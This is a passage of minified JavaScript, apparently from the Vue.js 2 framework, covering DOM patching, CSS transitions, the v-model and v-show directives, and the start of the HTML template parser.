i=r.data.on||{},o=e.data.on||{};qr=r.elm,function(e){if(n(e[Wr])){var t=q?"change":"input";e[t]=[].concat(e[Wr],e[t]||[]),delete e[Wr]}n(e[Zr])&&(e.change=[].concat(e[Zr],e.change||[]),delete e[Zr])}(i),rt(i,o,Yr,Qr,Gr,r.context),qr=void 0}}var ti,ni={create:ei,update:ei};function ri(e,r){if(!t(e.data.domProps)||!t(r.data.domProps)){var i,o,a=r.elm,s=e.data.domProps||{},c=r.data.domProps||{};for(i in n(c.__ob__)&&(c=r.data.domProps=A({},c)),s)i in c||(a[i]="");for(i in c){if(o=c[i],"textContent"===i||"innerHTML"===i){if(r.children&&(r.children.length=0),o===s[i])continue;1===a.childNodes.length&&a.removeChild(a.childNodes[0])}if("value"===i&&"PROGRESS"!==a.tagName){a._value=o;var u=t(o)?"":String(o);ii(a,u)&&(a.value=u)}else if("innerHTML"===i&&qn(a.tagName)&&t(a.innerHTML)){(ti=ti||document.createElement("div")).innerHTML="<svg>"+o+"</svg>";for(var l=ti.firstChild;a.firstChild;)a.removeChild(a.firstChild);for(;l.firstChild;)a.appendChild(l.firstChild)}else if(o!==s[i])try{a[i]=o}catch(e){}}}}function ii(e,t){return!e.composing&&("OPTION"===e.tagName||function(e,t){var n=!0;try{n=document.activeElement!==e}catch(e){}return n&&e.value!==t}(e,t)||function(e,t){var r=e.value,i=e._vModifiers;if(n(i)){if(i.number)return f(r)!==f(t);if(i.trim)return r.trim()!==t.trim()}return r!==t}(e,t))}var oi={create:ri,update:ri},ai=g(function(e){var t={},n=/:(.+)/;return e.split(/;(?![^(]*\))/g).forEach(function(e){if(e){var r=e.split(n);r.length>1&&(t[r[0].trim()]=r[1].trim())}}),t});function si(e){var t=ci(e.style);return e.staticStyle?A(e.staticStyle,t):t}function ci(e){return Array.isArray(e)?O(e):"string"==typeof e?ai(e):e}var ui,li=/^--/,fi=/\s*!important$/,pi=function(e,t,n){if(li.test(t))e.style.setProperty(t,n);else if(fi.test(n))e.style.setProperty(C(t),n.replace(fi,""),"important");else{var r=vi(t);if(Array.isArray(n))for(var i=0,o=n.length;i<o;i++)e.style[r]=n[i];else e.style[r]=n}},di=["Webkit","Moz","ms"],vi=g(function(e){if(ui=ui||document.createElement("div").style,"filter"!==(e=b(e))&&e in ui)return e;for(var t=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<di.length;n++){var r=di[n]+t;if(r in ui)return r}});function hi(e,r){var i=r.data,o=e.data;if(!(t(i.staticStyle)&&t(i.style)&&t(o.staticStyle)&&t(o.style))){var a,s,c=r.elm,u=o.staticStyle,l=o.normalizedStyle||o.style||{},f=u||l,p=ci(r.data.style)||{};r.data.normalizedStyle=n(p.__ob__)?A({},p):p;var d=function(e,t){var n,r={};if(t)for(var i=e;i.componentInstance;)(i=i.componentInstance._vnode)&&i.data&&(n=si(i.data))&&A(r,n);(n=si(e.data))&&A(r,n);for(var o=e;o=o.parent;)o.data&&(n=si(o.data))&&A(r,n);return r}(r,!0);for(s in f)t(d[s])&&pi(c,s,"");for(s in d)(a=d[s])!==f[s]&&pi(c,s,null==a?"":a)}}var mi={create:hi,update:hi},yi=/\s+/;function gi(e,t){if(t&&(t=t.trim()))if(e.classList)t.indexOf(" ")>-1?t.split(yi).forEach(function(t){return e.classList.add(t)}):e.classList.add(t);else{var n=" "+(e.getAttribute("class")||"")+" ";n.indexOf(" "+t+" ")<0&&e.setAttribute("class",(n+t).trim())}}function _i(e,t){if(t&&(t=t.trim()))if(e.classList)t.indexOf(" ")>-1?t.split(yi).forEach(function(t){return e.classList.remove(t)}):e.classList.remove(t),e.classList.length||e.removeAttribute("class");else{for(var n=" "+(e.getAttribute("class")||"")+" ",r=" "+t+" ";n.indexOf(r)>=0;)n=n.replace(r," ");(n=n.trim())?e.setAttribute("class",n):e.removeAttribute("class")}}function bi(e){if(e){if("object"==typeof e){var t={};return!1!==e.css&&A(t,$i(e.name||"v")),A(t,e),t}return"string"==typeof e?$i(e):void 0}}var $i=g(function(e){return{enterClass:e+"-enter",enterToClass:e+"-enter-to",enterActiveClass:e+"-enter-active",leaveClass:e+"-leave",leaveToClass:e+"-leave-to",leaveActiveClass:e+"-leave-active"}}),wi=z&&!W,Ci="transition",xi="animation",ki="transition",Ai="transitionend",Oi="animation",Si="animationend";wi&&(void 0===window.ontransitionend&&void 0!==window.onwebkittransitionend&&(ki="WebkitTransition",Ai="webkitTransitionEnd"),void 0===window.onanimationend&&void 0!==window.onwebkitanimationend&&(Oi="WebkitAnimation",Si="webkitAnimationEnd"));var Ti=z?window.requestAnimationFrame?window.requestAnimationFrame.bind(window):setTimeout:function(e){return e()};function Ei(e){Ti(function(){Ti(e)})}function Ni(e,t){var n=e._transitionClasses||(e._transitionClasses=[]);n.indexOf(t)<0&&(n.push(t),gi(e,t))}function ji(e,t){e._transitionClasses&&h(e._transitionClasses,t),_i(e,t)}function Di(e,t,n){var r=Mi(e,t),i=r.type,o=r.timeout,a=r.propCount;if(!i)return n();var s=i===Ci?Ai:Si,c=0,u=function(){e.removeEventListener(s,l),n()},l=function(t){t.target===e&&++c>=a&&u()};setTimeout(function(){c<a&&u()},o+1),e.addEventListener(s,l)}var Li=/\b(transform|all)(,|$)/;function Mi(e,t){var n,r=window.getComputedStyle(e),i=(r[ki+"Delay"]||"").split(", "),o=(r[ki+"Duration"]||"").split(", "),a=Ii(i,o),s=(r[Oi+"Delay"]||"").split(", "),c=(r[Oi+"Duration"]||"").split(", "),u=Ii(s,c),l=0,f=0;return t===Ci?a>0&&(n=Ci,l=a,f=o.length):t===xi?u>0&&(n=xi,l=u,f=c.length):f=(n=(l=Math.max(a,u))>0?a>u?Ci:xi:null)?n===Ci?o.length:c.length:0,{type:n,timeout:l,propCount:f,hasTransform:n===Ci&&Li.test(r[ki+"Property"])}}function Ii(e,t){for(;e.length<t.length;)e=e.concat(e);return Math.max.apply(null,t.map(function(t,n){return Fi(t)+Fi(e[n])}))}function Fi(e){return 1e3*Number(e.slice(0,-1).replace(",","."))}function Pi(e,r){var i=e.elm;n(i._leaveCb)&&(i._leaveCb.cancelled=!0,i._leaveCb());var a=bi(e.data.transition);if(!t(a)&&!n(i._enterCb)&&1===i.nodeType){for(var s=a.css,c=a.type,u=a.enterClass,l=a.enterToClass,p=a.enterActiveClass,d=a.appearClass,v=a.appearToClass,h=a.appearActiveClass,m=a.beforeEnter,y=a.enter,g=a.afterEnter,_=a.enterCancelled,b=a.beforeAppear,$=a.appear,w=a.afterAppear,C=a.appearCancelled,x=a.duration,k=Wt,A=Wt.$vnode;A&&A.parent;)k=A.context,A=A.parent;var O=!k._isMounted||!e.isRootInsert;if(!O||$||""===$){var S=O&&d?d:u,T=O&&h?h:p,E=O&&v?v:l,N=O&&b||m,j=O&&"function"==typeof $?$:y,L=O&&w||g,M=O&&C||_,I=f(o(x)?x.enter:x),F=!1!==s&&!W,P=Bi(j),R=i._enterCb=D(function(){F&&(ji(i,E),ji(i,T)),R.cancelled?(F&&ji(i,S),M&&M(i)):L&&L(i),i._enterCb=null});e.data.show||it(e,"insert",function(){var t=i.parentNode,n=t&&t._pending&&t._pending[e.key];n&&n.tag===e.tag&&n.elm._leaveCb&&n.elm._leaveCb(),j&&j(i,R)}),N&&N(i),F&&(Ni(i,S),Ni(i,T),Ei(function(){ji(i,S),R.cancelled||(Ni(i,E),P||(Hi(I)?setTimeout(R,I):Di(i,c,R)))})),e.data.show&&(r&&r(),j&&j(i,R)),F||P||R()}}}function Ri(e,r){var i=e.elm;n(i._enterCb)&&(i._enterCb.cancelled=!0,i._enterCb());var a=bi(e.data.transition);if(t(a)||1!==i.nodeType)return r();if(!n(i._leaveCb)){var s=a.css,c=a.type,u=a.leaveClass,l=a.leaveToClass,p=a.leaveActiveClass,d=a.beforeLeave,v=a.leave,h=a.afterLeave,m=a.leaveCancelled,y=a.delayLeave,g=a.duration,_=!1!==s&&!W,b=Bi(v),$=f(o(g)?g.leave:g),w=i._leaveCb=D(function(){i.parentNode&&i.parentNode._pending&&(i.parentNode._pending[e.key]=null),_&&(ji(i,l),ji(i,p)),w.cancelled?(_&&ji(i,u),m&&m(i)):(r(),h&&h(i)),i._leaveCb=null});y?y(C):C()}function C(){w.cancelled||(!e.data.show&&i.parentNode&&((i.parentNode._pending||(i.parentNode._pending={}))[e.key]=e),d&&d(i),_&&(Ni(i,u),Ni(i,p),Ei(function(){ji(i,u),w.cancelled||(Ni(i,l),b||(Hi($)?setTimeout(w,$):Di(i,c,w)))})),v&&v(i,w),_||b||w())}}function Hi(e){return"number"==typeof e&&!isNaN(e)}function Bi(e){if(t(e))return!1;var r=e.fns;return n(r)?Bi(Array.isArray(r)?r[0]:r):(e._length||e.length)>1}function Ui(e,t){!0!==t.data.show&&Pi(t)}var zi=function(e){var o,a,s={},c=e.modules,u=e.nodeOps;for(o=0;o<rr.length;++o)for(s[rr[o]]=[],a=0;a<c.length;++a)n(c[a][rr[o]])&&s[rr[o]].push(c[a][rr[o]]);function l(e){var t=u.parentNode(e);n(t)&&u.removeChild(t,e)}function f(e,t,i,o,a,c,l){if(n(e.elm)&&n(c)&&(e=c[l]=me(e)),e.isRootInsert=!a,!function(e,t,i,o){var a=e.data;if(n(a)){var c=n(e.componentInstance)&&a.keepAlive;if(n(a=a.hook)&&n(a=a.init)&&a(e,!1),n(e.componentInstance))return d(e,t),v(i,e.elm,o),r(c)&&function(e,t,r,i){for(var o,a=e;a.componentInstance;)if(a=a.componentInstance._vnode,n(o=a.data)&&n(o=o.transition)){for(o=0;o<s.activate.length;++o)s.activate[o](nr,a);t.push(a);break}v(r,e.elm,i)}(e,t,i,o),!0}}(e,t,i,o)){var f=e.data,p=e.children,m=e.tag;n(m)?(e.elm=e.ns?u.createElementNS(e.ns,m):u.createElement(m,e),g(e),h(e,p,t),n(f)&&y(e,t),v(i,e.elm,o)):r(e.isComment)?(e.elm=u.createComment(e.text),v(i,e.elm,o)):(e.elm=u.createTextNode(e.text),v(i,e.elm,o))}}function d(e,t){n(e.data.pendingInsert)&&(t.push.apply(t,e.data.pendingInsert),e.data.pendingInsert=null),e.elm=e.componentInstance.$el,m(e)?(y(e,t),g(e)):(tr(e),t.push(e))}function v(e,t,r){n(e)&&(n(r)?u.parentNode(r)===e&&u.insertBefore(e,t,r):u.appendChild(e,t))}function h(e,t,n){if(Array.isArray(t))for(var r=0;r<t.length;++r)f(t[r],n,e.elm,null,!0,t,r);else i(e.text)&&u.appendChild(e.elm,u.createTextNode(String(e.text)))}function m(e){for(;e.componentInstance;)e=e.componentInstance._vnode;return n(e.tag)}function y(e,t){for(var r=0;r<s.create.length;++r)s.create[r](nr,e);n(o=e.data.hook)&&(n(o.create)&&o.create(nr,e),n(o.insert)&&t.push(e))}function g(e){var t;if(n(t=e.fnScopeId))u.setStyleScope(e.elm,t);else for(var r=e;r;)n(t=r.context)&&n(t=t.$options._scopeId)&&u.setStyleScope(e.elm,t),r=r.parent;n(t=Wt)&&t!==e.context&&t!==e.fnContext&&n(t=t.$options._scopeId)&&u.setStyleScope(e.elm,t)}function _(e,t,n,r,i,o){for(;r<=i;++r)f(n[r],o,e,t,!1,n,r)}function b(e){var t,r,i=e.data;if(n(i))for(n(t=i.hook)&&n(t=t.destroy)&&t(e),t=0;t<s.destroy.length;++t)s.destroy[t](e);if(n(t=e.children))for(r=0;r<e.children.length;++r)b(e.children[r])}function $(e,t,r){for(;t<=r;++t){var i=e[t];n(i)&&(n(i.tag)?(w(i),b(i)):l(i.elm))}}function w(e,t){if(n(t)||n(e.data)){var r,i=s.remove.length+1;for(n(t)?t.listeners+=i:t=function(e,t){function n(){0==--n.listeners&&l(e)}return n.listeners=t,n}(e.elm,i),n(r=e.componentInstance)&&n(r=r._vnode)&&n(r.data)&&w(r,t),r=0;r<s.remove.length;++r)s.remove[r](e,t);n(r=e.data.hook)&&n(r=r.remove)?r(e,t):t()}else l(e.elm)}function C(e,t,r,i){for(var o=r;o<i;o++){var a=t[o];if(n(a)&&ir(e,a))return o}}function x(e,i,o,a,c,l){if(e!==i){n(i.elm)&&n(a)&&(i=a[c]=me(i));var p=i.elm=e.elm;if(r(e.isAsyncPlaceholder))n(i.asyncFactory.resolved)?O(e.elm,i,o):i.isAsyncPlaceholder=!0;else if(r(i.isStatic)&&r(e.isStatic)&&i.key===e.key&&(r(i.isCloned)||r(i.isOnce)))i.componentInstance=e.componentInstance;else{var d,v=i.data;n(v)&&n(d=v.hook)&&n(d=d.prepatch)&&d(e,i);var h=e.children,y=i.children;if(n(v)&&m(i)){for(d=0;d<s.update.length;++d)s.update[d](e,i);n(d=v.hook)&&n(d=d.update)&&d(e,i)}t(i.text)?n(h)&&n(y)?h!==y&&function(e,r,i,o,a){for(var s,c,l,p=0,d=0,v=r.length-1,h=r[0],m=r[v],y=i.length-1,g=i[0],b=i[y],w=!a;p<=v&&d<=y;)t(h)?h=r[++p]:t(m)?m=r[--v]:ir(h,g)?(x(h,g,o,i,d),h=r[++p],g=i[++d]):ir(m,b)?(x(m,b,o,i,y),m=r[--v],b=i[--y]):ir(h,b)?(x(h,b,o,i,y),w&&u.insertBefore(e,h.elm,u.nextSibling(m.elm)),h=r[++p],b=i[--y]):ir(m,g)?(x(m,g,o,i,d),w&&u.insertBefore(e,m.elm,h.elm),m=r[--v],g=i[++d]):(t(s)&&(s=or(r,p,v)),t(c=n(g.key)?s[g.key]:C(g,r,p,v))?f(g,o,e,h.elm,!1,i,d):ir(l=r[c],g)?(x(l,g,o,i,d),r[c]=void 0,w&&u.insertBefore(e,l.elm,h.elm)):f(g,o,e,h.elm,!1,i,d),g=i[++d]);p>v?_(e,t(i[y+1])?null:i[y+1].elm,i,d,y,o):d>y&&$(r,p,v)}(p,h,y,o,l):n(y)?(n(e.text)&&u.setTextContent(p,""),_(p,null,y,0,y.length-1,o)):n(h)?$(h,0,h.length-1):n(e.text)&&u.setTextContent(p,""):e.text!==i.text&&u.setTextContent(p,i.text),n(v)&&n(d=v.hook)&&n(d=d.postpatch)&&d(e,i)}}}function k(e,t,i){if(r(i)&&n(e.parent))e.parent.data.pendingInsert=t;else for(var o=0;o<t.length;++o)t[o].data.hook.insert(t[o])}var A=p("attrs,class,staticClass,staticStyle,key");function O(e,t,i,o){var a,s=t.tag,c=t.data,u=t.children;if(o=o||c&&c.pre,t.elm=e,r(t.isComment)&&n(t.asyncFactory))return t.isAsyncPlaceholder=!0,!0;if(n(c)&&(n(a=c.hook)&&n(a=a.init)&&a(t,!0),n(a=t.componentInstance)))return d(t,i),!0;if(n(s)){if(n(u))if(e.hasChildNodes())if(n(a=c)&&n(a=a.domProps)&&n(a=a.innerHTML)){if(a!==e.innerHTML)return!1}else{for(var l=!0,f=e.firstChild,p=0;p<u.length;p++){if(!f||!O(f,u[p],i,o)){l=!1;break}f=f.nextSibling}if(!l||f)return!1}else h(t,u,i);if(n(c)){var v=!1;for(var m in c)if(!A(m)){v=!0,y(t,i);break}!v&&c.class&&et(c.class)}}else e.data!==t.text&&(e.data=t.text);return!0}return function(e,i,o,a){if(!t(i)){var c,l=!1,p=[];if(t(e))l=!0,f(i,p);else{var d=n(e.nodeType);if(!d&&ir(e,i))x(e,i,p,null,null,a);else{if(d){if(1===e.nodeType&&e.hasAttribute(L)&&(e.removeAttribute(L),o=!0),r(o)&&O(e,i,p))return k(i,p,!0),e;c=e,e=new pe(u.tagName(c).toLowerCase(),{},[],void 0,c)}var v=e.elm,h=u.parentNode(v);if(f(i,p,v._leaveCb?null:h,u.nextSibling(v)),n(i.parent))for(var y=i.parent,g=m(i);y;){for(var _=0;_<s.destroy.length;++_)s.destroy[_](y);if(y.elm=i.elm,g){for(var w=0;w<s.create.length;++w)s.create[w](nr,y);var C=y.data.hook.insert;if(C.merged)for(var A=1;A<C.fns.length;A++)C.fns[A]()}else tr(y);y=y.parent}n(h)?$([e],0,0):n(e.tag)&&b(e)}}return k(i,p,l),i.elm}n(e)&&b(e)}}({nodeOps:Qn,modules:[mr,xr,ni,oi,mi,z?{create:Ui,activate:Ui,remove:function(e,t){!0!==e.data.show?Ri(e,t):t()}}:{}].concat(pr)});W&&document.addEventListener("selectionchange",function(){var e=document.activeElement;e&&e.vmodel&&Xi(e,"input")});var Vi={inserted:function(e,t,n,r){"select"===n.tag?(r.elm&&!r.elm._vOptions?it(n,"postpatch",function(){Vi.componentUpdated(e,t,n)}):Ki(e,t,n.context),e._vOptions=[].map.call(e.options,Wi)):("textarea"===n.tag||Xn(e.type))&&(e._vModifiers=t.modifiers,t.modifiers.lazy||(e.addEventListener("compositionstart",Zi),e.addEventListener("compositionend",Gi),e.addEventListener("change",Gi),W&&(e.vmodel=!0)))},componentUpdated:function(e,t,n){if("select"===n.tag){Ki(e,t,n.context);var r=e._vOptions,i=e._vOptions=[].map.call(e.options,Wi);if(i.some(function(e,t){return!N(e,r[t])}))(e.multiple?t.value.some(function(e){return qi(e,i)}):t.value!==t.oldValue&&qi(t.value,i))&&Xi(e,"change")}}};function Ki(e,t,n){Ji(e,t,n),(q||Z)&&setTimeout(function(){Ji(e,t,n)},0)}function Ji(e,t,n){var r=t.value,i=e.multiple;if(!i||Array.isArray(r)){for(var o,a,s=0,c=e.options.length;s<c;s++)if(a=e.options[s],i)o=j(r,Wi(a))>-1,a.selected!==o&&(a.selected=o);else if(N(Wi(a),r))return void(e.selectedIndex!==s&&(e.selectedIndex=s));i||(e.selectedIndex=-1)}}function qi(e,t){return t.every(function(t){return!N(t,e)})}function Wi(e){return"_value"in e?e._value:e.value}function Zi(e){e.target.composing=!0}function Gi(e){e.target.composing&&(e.target.composing=!1,Xi(e.target,"input"))}function Xi(e,t){var n=document.createEvent("HTMLEvents");n.initEvent(t,!0,!0),e.dispatchEvent(n)}function Yi(e){return!e.componentInstance||e.data&&e.data.transition?e:Yi(e.componentInstance._vnode)}var Qi={model:Vi,show:{bind:function(e,t,n){var r=t.value,i=(n=Yi(n)).data&&n.data.transition,o=e.__vOriginalDisplay="none"===e.style.display?"":e.style.display;r&&i?(n.data.show=!0,Pi(n,function(){e.style.display=o})):e.style.display=r?o:"none"},update:function(e,t,n){var r=t.value;!r!=!t.oldValue&&((n=Yi(n)).data&&n.data.transition?(n.data.show=!0,r?Pi(n,function(){e.style.display=e.__vOriginalDisplay}):Ri(n,function(){e.style.display="none"})):e.style.display=r?e.__vOriginalDisplay:"none")},unbind:function(e,t,n,r,i){i||(e.style.display=e.__vOriginalDisplay)}}},eo={name:String,appear:Boolean,css:Boolean,mode:String,type:String,enterClass:String,leaveClass:String,enterToClass:String,leaveToClass:String,enterActiveClass:String,leaveActiveClass:String,appearClass:String,appearActiveClass:String,appearToClass:String,duration:[Number,String,Object]};function to(e){var t=e&&e.componentOptions;return t&&t.Ctor.options.abstract?to(zt(t.children)):e}function no(e){var t={},n=e.$options;for(var r in n.propsData)t[r]=e[r];var i=n._parentListeners;for(var o in i)t[b(o)]=i[o];return t}function ro(e,t){if(/\d-keep-alive$/.test(t.tag))return e("keep-alive",{props:t.componentOptions.propsData})}var io=function(e){return e.tag||Ut(e)},oo=function(e){return"show"===e.name},ao={name:"transition",props:eo,abstract:!0,render:function(e){var t=this,n=this.$slots.default;if(n&&(n=n.filter(io)).length){var r=this.mode,o=n[0];if(function(e){for(;e=e.parent;)if(e.data.transition)return!0}(this.$vnode))return o;var a=to(o);if(!a)return o;if(this._leaving)return ro(e,o);var s="__transition-"+this._uid+"-";a.key=null==a.key?a.isComment?s+"comment":s+a.tag:i(a.key)?0===String(a.key).indexOf(s)?a.key:s+a.key:a.key;var c=(a.data||(a.data={})).transition=no(this),u=this._vnode,l=to(u);if(a.data.directives&&a.data.directives.some(oo)&&(a.data.show=!0),l&&l.data&&!function(e,t){return t.key===e.key&&t.tag===e.tag}(a,l)&&!Ut(l)&&(!l.componentInstance||!l.componentInstance._vnode.isComment)){var f=l.data.transition=A({},c);if("out-in"===r)return this._leaving=!0,it(f,"afterLeave",function(){t._leaving=!1,t.$forceUpdate()}),ro(e,o);if("in-out"===r){if(Ut(a))return u;var p,d=function(){p()};it(c,"afterEnter",d),it(c,"enterCancelled",d),it(f,"delayLeave",function(e){p=e})}}return o}}},so=A({tag:String,moveClass:String},eo);function co(e){e.elm._moveCb&&e.elm._moveCb(),e.elm._enterCb&&e.elm._enterCb()}function uo(e){e.data.newPos=e.elm.getBoundingClientRect()}function lo(e){var t=e.data.pos,n=e.data.newPos,r=t.left-n.left,i=t.top-n.top;if(r||i){e.data.moved=!0;var o=e.elm.style;o.transform=o.WebkitTransform="translate("+r+"px,"+i+"px)",o.transitionDuration="0s"}}delete so.mode;var fo={Transition:ao,TransitionGroup:{props:so,beforeMount:function(){var e=this,t=this._update;this._update=function(n,r){var i=Zt(e);e.__patch__(e._vnode,e.kept,!1,!0),e._vnode=e.kept,i(),t.call(e,n,r)}},render:function(e){for(var t=this.tag||this.$vnode.data.tag||"span",n=Object.create(null),r=this.prevChildren=this.children,i=this.$slots.default||[],o=this.children=[],a=no(this),s=0;s<i.length;s++){var c=i[s];c.tag&&null!=c.key&&0!==String(c.key).indexOf("__vlist")&&(o.push(c),n[c.key]=c,(c.data||(c.data={})).transition=a)}if(r){for(var u=[],l=[],f=0;f<r.length;f++){var p=r[f];p.data.transition=a,p.data.pos=p.elm.getBoundingClientRect(),n[p.key]?u.push(p):l.push(p)}this.kept=e(t,null,u),this.removed=l}return e(t,null,o)},updated:function(){var e=this.prevChildren,t=this.moveClass||(this.name||"v")+"-move";e.length&&this.hasMove(e[0].elm,t)&&(e.forEach(co),e.forEach(uo),e.forEach(lo),this._reflow=document.body.offsetHeight,e.forEach(function(e){if(e.data.moved){var n=e.elm,r=n.style;Ni(n,t),r.transform=r.WebkitTransform=r.transitionDuration="",n.addEventListener(Ai,n._moveCb=function e(r){r&&r.target!==n||r&&!/transform$/.test(r.propertyName)||(n.removeEventListener(Ai,e),n._moveCb=null,ji(n,t))})}}))},methods:{hasMove:function(e,t){if(!wi)return!1;if(this._hasMove)return this._hasMove;var n=e.cloneNode();e._transitionClasses&&e._transitionClasses.forEach(function(e){_i(n,e)}),gi(n,t),n.style.display="none",this.$el.appendChild(n);var r=Mi(n);return this.$el.removeChild(n),this._hasMove=r.hasTransform}}}};wn.config.mustUseProp=jn,wn.config.isReservedTag=Wn,wn.config.isReservedAttr=En,wn.config.getTagNamespace=Zn,wn.config.isUnknownElement=function(e){if(!z)return!0;if(Wn(e))return!1;if(e=e.toLowerCase(),null!=Gn[e])return Gn[e];var t=document.createElement(e);return e.indexOf("-")>-1?Gn[e]=t.constructor===window.HTMLUnknownElement||t.constructor===window.HTMLElement:Gn[e]=/HTMLUnknownElement/.test(t.toString())},A(wn.options.directives,Qi),A(wn.options.components,fo),wn.prototype.__patch__=z?zi:S,wn.prototype.$mount=function(e,t){return function(e,t,n){var r;return e.$el=t,e.$options.render||(e.$options.render=ve),Yt(e,"beforeMount"),r=function(){e._update(e._render(),n)},new fn(e,r,S,{before:function(){e._isMounted&&!e._isDestroyed&&Yt(e,"beforeUpdate")}},!0),n=!1,null==e.$vnode&&(e._isMounted=!0,Yt(e,"mounted")),e}(this,e=e&&z?Yn(e):void 0,t)},z&&setTimeout(function(){F.devtools&&ne&&ne.emit("init",wn)},0);var po=/\{\{((?:.|\r?\n)+?)\}\}/g,vo=/[-.*+?^${}()|[\]\/\\]/g,ho=g(function(e){var t=e[0].replace(vo,"\\$&"),n=e[1].replace(vo,"\\$&");return new RegExp(t+"((?:.|\\n)+?)"+n,"g")});var mo={staticKeys:["staticClass"],transformNode:function(e,t){t.warn;var n=Fr(e,"class");n&&(e.staticClass=JSON.stringify(n));var r=Ir(e,"class",!1);r&&(e.classBinding=r)},genData:function(e){var t="";return e.staticClass&&(t+="staticClass:"+e.staticClass+","),e.classBinding&&(t+="class:"+e.classBinding+","),t}};var yo,go={staticKeys:["staticStyle"],transformNode:function(e,t){t.warn;var n=Fr(e,"style");n&&(e.staticStyle=JSON.stringify(ai(n)));var r=Ir(e,"style",!1);r&&(e.styleBinding=r)},genData:function(e){var t="";return e.staticStyle&&(t+="staticStyle:"+e.staticStyle+","),e.styleBinding&&(t+="style:("+e.styleBinding+"),"),t}},_o=function(e){return(yo=yo||document.createElement("div")).innerHTML=e,yo.textContent},bo=p("area,base,br,col,embed,frame,hr,img,input,isindex,keygen,link,meta,param,source,track,wbr"),$o=p("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr,source"),wo=p("address,article,aside,base,blockquote,body,caption,col,colgroup,dd,details,dialog,div,dl,dt,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,legend,li,menuitem,meta,optgroup,option,param,rp,rt,source,style,summary,tbody,td,tfoot,th,thead,title,tr,track"),Co=/^\s*([^\s"'<>\/=]+)(?:\s*(=)\s*(?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)))?/,xo=/^\s*((?:v-[\w-]+:|@|:|#)\[[^=]+\][^\s"'<>\/=]*)(?:\s*(=)\s*(?:"([^"]*)"+|'([^']*)'+|([^\s"'=<>`]+)))?/,ko="[a-zA-Z_][\\-\\.0-9_a-zA-Z"+P.source+"]*",Ao="((?:"+ko+"\\:)?"+ko+")",Oo=new RegExp("^<"+Ao),So=/^\s*(\/?)>/,To=new RegExp("^<\\/"+Ao+"[^>]*>"),Eo=/^<!DOCTYPE [^>]+>/i,No=/^<!\--/,jo=/^<!\[/,Do=p("script,style,textarea",!0),Lo={},Mo={"<":"<",">":">",""":'"',"&":"&"," ":"\n","	":"\t","'":"'"},Io=/&(?:lt|gt|quot|amp|#39);/g,Fo=/&(?:lt|gt|quot|amp|#39|#10|#9);/g,Po=p("pre,textarea",!0),Ro=function(e,t){return e&&Po(e)&&"\n"===t[0]};function Ho(e,t){var n=t?Fo:Io;return e.replace(n,function(e){return Mo[e]})}var Bo,Uo,zo,Vo,Ko,Jo,qo,Wo,Zo=/^@|^v-on:/,Go=/^v-|^@|^:|^#/,Xo=/([\s\S]*?)\s+(?:in|of)\s+([\s\S]*)/,Yo=/,([^,\}\]]*)(?:,([^,\}\]]*))?$/,Qo=/^\(|\)$/g,ea=/^\[.*\]$/,ta=/:(.*)$/,na=/^:|^\.|^v-bind:/,ra=/\.[^.\]]+(?=[^\]]*$)/g,ia=/^v-slot(:|$)|^#/,oa=/[\r\n]/,aa=/\s+/g,sa=g(_o),ca="_empty_";function ua(e,t,n){return{type:1,tag:e,attrsList:t,attrsMap:ma(t),rawAttrsMap:{},parent:n,children:[]}}function la(e,t){Bo=t.warn||Sr,Jo=t.isPreTag||T,qo=t.mustUseProp||T,Wo=t.getTagNamespace||T;t.isReservedTag;zo=Tr(t.modules,"transformNode"),Vo=Tr(t.modules,"preTransformNode"),Ko=Tr(t.modules,"postTransformNode"),Uo=t.delimiters;var n,r,i=[],o=!1!==t.preserveWhitespace,a=t.whitespace,s=!1,c=!1;function u(e){if(l(e),s||e.processed||(e=fa(e,t)),i.length||e===n||n.if&&(e.elseif||e.else)&&da(n,{exp:e.elseif,block:e}),r&&!e.forbidden)if(e.elseif||e.else)a=e,(u=function(e){var t=e.length;for(;t--;){if(1===e[t].type)return e[t];e.pop()}}(r.children))&&u.if&&da(u,{exp:a.elseif,block:a});else{if(e.slotScope){var o=e.slotTarget||'"default"';(r.scopedSlots||(r.scopedSlots={}))[o]=e}r.children.push(e),e.parent=r}var a,u;e.children=e.children.filter(function(e){return!e.slotScope}),l(e),e.pre&&(s=!1),Jo(e.tag)&&(c=!1);for(var f=0;f<Ko.length;f++)Ko[f](e,t)}function l(e){if(!c)for(var t;(t=e.children[e.children.length-1])&&3===t.type&&" "===t.text;)e.children.pop()}return function(e,t){for(var n,r,i=[],o=t.expectHTML,a=t.isUnaryTag||T,s=t.canBeLeftOpenTag||T,c=0;e;){if(n=e,r&&Do(r)){var u=0,l=r.toLowerCase(),f=Lo[l]||(Lo[l]=new RegExp("([\\s\\S]*?)(</"+l+"[^>]*>)","i")),p=e.replace(f,function(e,n,r){return u=r.length,Do(l)||"noscript"===l||(n=n.replace(/<!\--([\s\S]*?)-->/g,"$1").replace(/<!\[CDATA\[([\s\S]*?)]]>/g,"$1")),Ro(l,n)&&(n=n.slice(1)),t.chars&&t.chars(n),""});c+=e.length-p.length,e=p,A(l,c-u,c)}else{var d=e.indexOf("<");if(0===d){if(No.test(e)){var v=e.indexOf("--\x3e");if(v>=0){t.shouldKeepComment&&t.comment(e.substring(4,v),c,c+v+3),C(v+3);continue}}if(jo.test(e)){var h=e.indexOf("]>");if(h>=0){C(h+2);continue}}var m=e.match(Eo);if(m){C(m[0].length);continue}var y=e.match(To);if(y){var g=c;C(y[0].length),A(y[1],g,c);continue}var _=x();if(_){k(_),Ro(_.tagName,e)&&C(1);continue}}var b=void 0,$=void 0,w=void 0;if(d>=0){for($=e.slice(d);!(To.test($)||Oo.test($)||No.test($)||jo.test($)||(w=$.indexOf("<",1))<0);)d+=w,$=e.slice(d);b=e.substring(0,d)}d<0&&(b=e),b&&C(b.length),t.chars&&b&&t.chars(b,c-b.length,c)}if(e===n){t.chars&&t.chars(e);break}}function C(t){c+=t,e=e.substring(t)}function x(){var t=e.match(Oo);if(t){var n,r,i={tagName:t[1],attrs:[],start:c};for(C(t[0].length);!(n=e.match(So))&&(r=e.match(xo)||e.match(Co));)r.start=c,C(r[0].length),r.end=c,i.attrs.push(r);if(n)return i.unarySlash=n[1],C(n[0].length),i.end=c,i}}function k(e){var n=e.tagName,c=e.unarySlash;o&&("p"===r&&wo(n)&&A(r),s(n)&&r===n&&A(n));for(var u=a(n)||!!c,l=e.attrs.length,f=new Array(l),p=0;p<l;p++){var 